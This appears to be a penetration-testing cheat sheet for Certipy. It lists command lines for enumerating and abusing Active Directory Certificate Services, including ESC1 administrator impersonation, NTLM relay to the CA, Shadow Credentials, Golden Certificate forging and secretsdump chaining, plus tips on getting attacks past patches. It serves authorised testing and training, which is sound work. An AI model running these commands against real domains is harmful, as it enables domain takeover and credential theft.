root@sparrow:~/writeups$ cat certipy.md
// Active Directory
Certipy
21 Jul 2026
· 3 min read
Certipy is the go-to tool for enumerating and abusing Active Directory Certificate Services (AD CS) from Linux. It discovers templates and CAs, requests certificates, and turns them into domain authentication (NT hash or Kerberos TGT). It is the practical replacement for Certify + PKINITtools in a single Python binary.
What makes AD CS dangerous is not a single vulnerability but the configuration: a template that lets the requester set the subjectAltName (ESC1) turns any user into a domain admin. Certipy automates the whole flow — find spots the flaw, req issues the certificate impersonating the UPN, and auth redeems it for credentials — which is why understanding the condition behind each ESC matters more than memorizing the commands.
1. Beginner level — enumerate and request certificates

| Command | What it does |
|---|---|
certipy find -u user@dom -p pass -dc-ip <ip> | Enumerate AD CS templates and CAs |
certipy find -u user@dom -p pass -dc-ip <ip> -vulnerable | Show only what is exploitable |
certipy find -u user@dom -p pass -dc-ip <ip> -stdout | Print output to screen (no BloodHound) |
certipy find -u user@dom -p pass -dc-ip <ip> -json | Export the result to JSON |
certipy req -u user@dom -p pass -ca CA -template Tmpl | Request a certificate |
certipy req -u user@dom -p pass -ca CA -template User -upn administrator | ESC1: impersonate another user (UPN) |
certipy auth -pfx admin.pfx -dc-ip <ip> | Authenticate with the .pfx and dump NT hash / TGT |
certipy account read -u user@dom -p pass -user victim | Read the attributes of an account |
certipy req -u user@dom -H <hash> -ca CA -template T | Request using the NTLM hash (PtH) |
certipy find -u user@dom -p pass -dc-ip <ip> -text | Save the report as text |
certipy req -u user@dom -p pass -ca CA -template T -target ca.dom | Specify the CA host |
certipy auth -pfx user.pfx -username user -domain dom | Auth by supplying username/domain |
certipy -v | Show the version |
certipy find -h | Help for the find subcommand |
2. Advanced level — ESC chains, Shadow Creds and relay

| Command | What it does |
|---|---|
certipy req -u user@dom -p pass -ca CA -template T -upn administrator -sid <sid> | ESC1 with SID (2022 patch) |
certipy ca -u user@dom -p pass -ca CA -enable-template T | ESC7: enable a template |
certipy req -u user@dom -p pass -ca CA -template SubCA -on-behalf-of dom\\user | ESC3: enrollment agent |
certipy shadow auto -u user@dom -p pass -account victim | Shadow Credentials (KeyCredentialLink) |
certipy relay -target http://ca.dom/certsrv/ | ESC8: NTLM relay to the CA web endpoint |
certipy auth -pfx admin.pfx -ldap-shell | Open an LDAP shell with the certificate |
certipy forge -ca-pfx ca.pfx -upn administrator@dom | Golden Certificate (forge with the CA key) |
certipy account update -u user@dom -p pass -user v -upn administrator | ESC9/10: change an account's UPN |
certipy req -u user@dom -p pass -ca CA -template T -application-policies 'Client Authentication' | ESC15: abuse application policies |
certipy auth -pfx admin.pfx -dc-ip <ip> -kirbi | Save the TGT in .kirbi format |
certipy cert -pfx admin.pfx -nocert -out key.pem | Extract the private key from the .pfx |
certipy shadow auto -u user@dom -p pass -account dc$ -target dc.dom | Shadow Creds against a DC |
certipy req -u user@dom -p pass -ca CA -template T -key-size 4096 | Adjust the key size |
KRB5CCNAME=admin.ccache secretsdump.py -k dc.dom | Chain the TGT with secretsdump |
3. Details people miss
- Sync your clock with the DC (
ntpdateorfaketime) before runningcertipy auth: PKINIT and Kerberos reject tickets with time skew and you will hitKRB_AP_ERR_SKEWerrors. - Since the May 2022 patch (KB5014754) the CA requires the SID embedded in the certificate; if ESC1 fails, add
-sidwith the victim's SID as shown in the first advanced row. certipy find -vulnerableonly flags what Certipy knows how to detect: always review the full report, because misconfigured templates may need manual judgment (enrollment rights, EKUs) that the flag does not surface.- Save the
.pfxand protect its key: it is equivalent to the impersonated account's credentials and usually stays valid for the certificate's full lifetime, surviving a password change. - For ESC8 (
relay) you must coerce authentication (PetitPotam, PrinterBug) toward your host; the relay alone does not trigger the incoming connection.
Responsible use
These commands are for systems you own or have explicit written authorisation to test (labs, CTFs, contracted engagements). Using them against third-party infrastructure without permission is illegal in most countries.